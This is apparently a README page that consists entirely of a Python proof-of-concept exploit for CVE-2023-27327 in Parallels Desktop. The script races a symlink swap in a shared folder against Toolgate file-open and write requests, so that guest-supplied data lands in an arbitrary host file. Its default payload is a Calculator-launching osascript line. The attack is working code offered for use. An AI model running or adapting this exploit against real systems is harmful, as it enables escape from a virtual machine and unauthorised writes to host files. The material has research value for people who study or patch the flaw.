README.md
Rendering markdown...
#!/usr/bin/env python3
# CVE-2023-27327
import argparse
import os
import stat
import threading
from pwn import *
from toolgate import *
tg = ToolgateClient(device_path='/proc/driver/prl_tg_pwn')
race_won = False
def racer(share_path: str, host_path: str) -> None:
"""
Creates two files in the share, one is a symlink pointing to a host path
which we want to open, and the other is an empty file. Then we continuously
switch them in a loop.
"""
log.info('Racer running')
file = os.path.join(share_path, 'file')
link = os.path.join(share_path, 'link')
scratch = file + '.'
try:
os.unlink(link)
except:
pass
try:
os.unlink(file)
except:
pass
fd = os.open(file, os.O_RDONLY | os.O_CREAT | stat.S_IRWXU)
os.close(fd)
os.symlink(host_path, link)
while not race_won:
try:
os.rename(file, scratch)
except:
pass
try:
os.rename(link, file)
except:
pass
try:
os.rename(scratch, link)
except:
pass
def main(args: argparse.Namespace):
global race_won
shares = tg.get_shared_folder_list()
share_path = None
shared_folder_id = None
if not args.share_path:
for shared_folder_id, share in enumerate(shares):
p = f'/media/psf/{share}'
if os.path.exists(p):
share_path = p
break
else:
share_path = args.share_path
shared_folder_id = 0
if share_path is None:
log.info('No suitable share found. Are there shared folders mounted? If so, try the --share-path flag')
return
shared_folder_id += 1
share_path = share_path.rstrip('/')
share_name = os.path.basename(share_path)
log.info(f'Share path: {share_path}')
log.info(f'Share name: {share_name}')
log.info(f'Share id: {shared_folder_id}')
racer_thread = threading.Thread(target=racer, args=(share_path, args.host_path))
log.info('Spawning racer')
racer_thread.start()
with open(args.guest_path, 'rb') as f:
file_data = f.read()
tries = 0
while tries < 1000:
# Open file, which may or may not be pointing outside the share
path = f'/{share_name}/file'.encode('utf-8')
pfd = prlfs_file_desc(
0xffffffff,
0,
os.O_RDWR | os.O_APPEND,
shared_folder_id,
)
buf1 = tg.get_tg_buffer_from_data(path, writeable=True)
buf2 = tg.get_tg_buffer_from_data(bytes(pfd), writeable=True)
req = create_tg_request_type(0, 2)(TG_REQUEST_FS_L_OPEN, TG_STATUS_PENDING, 0, 2, 0, b'', (TG_BUFFER * 2)(buf1, buf2))
tg.submit(req)
output = tg.get_bytes_from_tg_buffer(buf2)
pfd = prlfs_file_desc.from_buffer_copy(output)
if req.Status != TG_STATUS_SUCCESS:
continue
# Attempt the write
pfd = prlfs_file_desc(
pfd.fd,
0,
0,
shared_folder_id,
)
buf1 = tg.get_tg_buffer_from_data(bytes(pfd), writeable=False)
buf2 = tg.get_tg_buffer_from_data(file_data, writeable=False)
req = create_tg_request_type(0, 2)(TG_REQUEST_FS_L_RW, TG_STATUS_PENDING, 0, 2, 0, b'', (TG_BUFFER * 2)(buf1, buf2))
tg.submit(req)
tries += 1
log.info('Terminating racer')
race_won = True
racer_thread.join()
log.info(f'File written to {args.host_path}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'guest_path',
help='Path to file on guest which will be written on host')
parser.add_argument(
'host_path',
help='Path of the file on the host which you want to read or write')
parser.add_argument(
'--data',
help='The data to append or write to the host file',
default='\nosascript -e \'tell application "Calculator.app" to activate\'\n',
required=False)
parser.add_argument(
'--share-path',
help='Path of the share, e.g. /media/psf/Home',
required=False)
args = parser.parse_args()
try:
main(args)
except KeyboardInterrupt:
log.info('Exiting')
race_won = True
tg.close()